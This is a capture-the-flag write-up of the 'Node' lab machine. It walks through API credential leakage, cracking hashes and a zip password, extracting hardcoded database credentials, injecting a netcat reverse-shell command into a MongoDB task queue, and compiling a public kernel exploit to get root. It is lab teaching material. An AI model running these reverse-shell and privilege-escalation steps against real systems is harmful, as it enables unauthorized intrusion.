Writeups
  • Writeups
    • TryHackMe
      • 🕵️‍♀️Basic Pentesting
      • 🔷Blue
      • ⚡Bolt
      • 🤖Cyborg
      • 🃏HA Jocker CTF
      • 🧊Ice
      • 🕯️Ignite
      • 🎃Jack-of-All-Trades
      • 🎩Mr Robot
      • 🔓Overpass
      • 🥒Pickle Rick
      • 💻RootMe
      • 🐇Year of the Rabbit
    • Vulnhub
      • 📦Colddbox
      • 💱Crypto Bank
      • 🛰️GoldenEye
      • 🎊Hacker Fest
      • 🤠Lampiao
      • ✴️Node
      • ♟️PWNLAB
      • 🔓Solid State
      • 📎Stapler
    • CTFs
      • 🤐Zippy
    • Demos
      • 🤒AMSI bypass using Python
      • 🌆Steganography tools
Powered by GitBook
On this page
  • 1. Reconnaissance
  • 2. Scanning
  • 2.1 Nmap
  • :3000
  • 2.2 Brute-Forcing zip password
  • 3. Initial Foothold
  • 3.1 SSH
  • 3.2 Lateral Movement
  • 4. Privilege Escalation
  1. Writeups
  2. Vulnhub

Node

Node is a medium level boot2root challenge, originally created for HackTheBox. There are two flags to find (user and root flags) and multiple different technologies to play with.

1. Reconnaissance

Scanning the network to find vulnerable machine's IP

arp-scan -l

Interface: enp0s3, type: EN10MB, MAC: 08:00:27:9c:9d:c8, IPv4: 192.168.10.25
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1	52:54:00:12:35:00	QEMU
192.168.10.2	52:54:00:12:35:00	QEMU
192.168.10.3	08:00:27:ec:f5:6b	PCS Systemtechnik GmbH
192.168.10.27	08:00:27:9e:3e:6f	PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.291 seconds (111.74 hosts/sec). 4 responded
  • We find the IP of the vulnerable machine to be 192.168.10.27

2. Scanning

2.1 Nmap

  • Using nmap to find the open ports and their services

nmap -Pn -p- -A 192.168.10.27                                                                         root@j0zack
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-21 10:18 IST
Nmap scan report for 192.168.10.27
Host is up (0.0011s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-tasktracker-info: 
|_  Logs: /login
| hadoop-datanode-info: 
|_  Logs: /login
|_http-title: MyPlace
MAC Address: 08:00:27:9E:3E:6F (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.14 ms 192.168.10.27

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.33 seconds
  • We find 2 open ports, tcp ports 22 and 3000 with a ssh and a web server with apache hadoop running respectively

:3000

  • Visiting the webpage at :3000 , we are greeted with a welcome page

  • Exploring the source code of the homepage, we can see a number of javascript files.

  • As we check out each of them, we see a very interesting endpoint referenced in /assets/js/app/controllers/home.js which points to /api/users/latest

  • Navigating to the endpoint /api/users/latest, we see the usernames and passwords of the newest members who were shown in the homepage who are normal users.

[
  {
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
    "is_admin": false
  },
  {
    "_id": "59a7368e98aa325cc03ee51e",
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
  },
  {
    "_id": "59aa9781cced6f1d1490fce9",
    "username": "rastating",
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
  }
]
  • Navigating up to /api/users, we get admin credentials

[
  {
    "_id": "59a7365b98aa325cc03ee51c",
    "username": "myP14ceAdm1nAcc0uNT",
    "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
    "is_admin": true
  },
  {
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
    "is_admin": false
  },
  {
    "_id": "59a7368e98aa325cc03ee51e",
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
  },
  {
    "_id": "59aa9781cced6f1d1490fce9",
    "username": "rastating",
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
  }
]
  • We find that it is a common word and can be cracked. We get the admin credentials

myP14ceAdm1nAcc0uNT : manchester

  • Login in with the credentials from the hompage

  • We are greeted with a minimal admin page with an option to download backup

  • Downloading the backup myplace.backup and examining the file type

file myplace.backup                                                                                   
myplace.backup: ASCII text, with very long lines, with no line terminators
  • We can see that although its file type is ASCII text, we we view the file, we can see that it is base64 encoded.

  • Decoding the file and saving it to decopde_backup

cat myplace.backup| base64 -d > decode_backup 
  • Now if we examine the decoded file, we can see that it is a zip file which is password protected

file decode_backup                                                                                    
decode_backup: Zip archive data, at least v1.0 to extract

unzip decode_backup                                                                                   
Archive:  decode_backup
   creating: var/www/myplace/
[decode_backup] var/www/myplace/package-lock.json password: 
[1]  + 3084 suspended  unzip decode_backup

2.2 Brute-Forcing zip password

  • We can use fcrackzip to bruteforce the password

fcrackzip -b -D -u decode_backup -p /usr/share/wordlists/rockyou.txt                                  root@j0zack


PASSWORD FOUND!!!!: pw == magicword
  • Using the password magicword, we can extract the zip file.

  • Extracting it, we find out that it contains the copy of the var directory of the target.

  • After further examination we find the credentials of user mark in /var/www/myplace/app.js file

cd var/www/myplace 

ls                                                                                 
app.html  app.js  node_modules  package.json  package-lock.json  static

cat app.js                                                                         

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

mark : 5AYRft73VtFpc84k

3. Initial Foothold

3.1 SSH

  • We can log in via ssh as user mark with the password.

ssh mark@192.168.10.27

The authenticity of host '192.168.10.27 (192.168.10.27)' cant be established.
ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.10.27' (ECDSA) to the list of known hosts.
mark@192.168.10.27's password: 

mark@node:~$ 
  • We find the user.txt flag in the home directory of user tom which cannot be accessed by user mark

mark@node:~$ ls
mark@node:~$ cd ..
mark@node:/home$ ls
frank  mark  tom
mark@node:/home$ cd tom/
mark@node:/home/tom$ ls
user.txt
mark@node:/home/tom$ cat user.txt 
cat: user.txt: Permission denied

3.2 Lateral Movement

  • Sidenote: We are moving to the next step, as that was the intended way of solving the box when it was released. After its release, a kernel exploit was found which can directly give us root access. We use this kernel exploit to gain root access once we get the user.txt using the original intended method. You can totally bypass the next few steps and directly use the exploit to get root. Personally, I felt that solving the box this way helped me to learn some more

  • In order to change to user tom we can first find out if they are running any processes currently.

mark@node:/home/tom$ ps -aux | grep tom
tom       1151  0.4  6.3 1044728 47988 ?       Ssl  05:45   0:12 /usr/bin/node /var/www/myplace/app.js
tom       1576  0.0  4.4 1008040 33576 ?       Ssl  05:46   0:01 /usr/bin/node /var/scheduler/app.js
mark     16305  0.0  0.1  14228   972 pts/0    S+   06:30   0:00 grep --color=auto tom
  • We see an interesting process run by tom at /var/scheduler/app.js which has a similar structure as our backup files.

  • Viewing app.js

mark@node:/home/tom$ cd /var/scheduler/
mark@node:/var/scheduler$ cat app.js 
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});
  • Here, we see that after very 30 seconds, the user tom logs in as mark to the database (MongoDB) and checks if there are any tasks. If there are, he executes the task with doc.cmd and then deletes them.

  • We can modify this to spawn us a shell.

  • Logging in as mark to the database.

/var/scheduler$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> db.tasks.insert({cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.25 1234 >/tmp/f"})

WriteResult({ "nInserted" : 1 })
  • Starting an nc listener, capturing and stabilizing the shell

nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.10.25] from (UNKNOWN) [192.168.10.27] 59278
/bin/sh: 0: cant access tty; job control turned off

$ python -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
  • Reading user.txt

tom@node:/$ cd /home/tom

tom@node:~$ cat user.txt
e1156acc3574e04b06908ecf76be91b1

4. Privilege Escalation

  • The kernel version of the machine is outdated and vulnerable to CVE-2017-16995

tom@node:~$ uname -a

Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
tom@node:~$ cd /tmp

tom@node:/tmp$ wget https://www.exploit-db.com/raw/44298

--2022-04-21 14:41:00--  https://www.exploit-db.com/raw/44298
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [text/plain]
Saving to: ‘44298’

44298                       100%[===========================================>]   5.88K  --.-KB/s    in 0s      

2022-04-21 14:41:16 (571 MB/s) - ‘44298’ saved [6021/6021]

tom@node:/tmp$ mv 44298 44298.c
  • Compiling it to exploit and executing it.

tom@node:/tmp$ gcc 44298.c -o exploit

tom@node:/tmp$ ./exploit
task_struct = ffff880026d872c0
uidptr = ffff880025763f04
spawning root shell

root@node:/tmp
  • We are root

  • Reading the contents of root.txt

root@node:/tmp cd /root

root@node:/root cat root.txt
1722e99ca5f353b362556a62bd5e6be0
PreviousLampiaoNextPWNLAB

Last updated 2 years ago

Trying to decode the password hash dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af using

We can modify the command to include a netcat reverse shell from

Downloading the (44298)from ExploitDB to the tmp directory of our target and renaming it as 44298.c

✴️
crackstation
pentestmonkey
exploit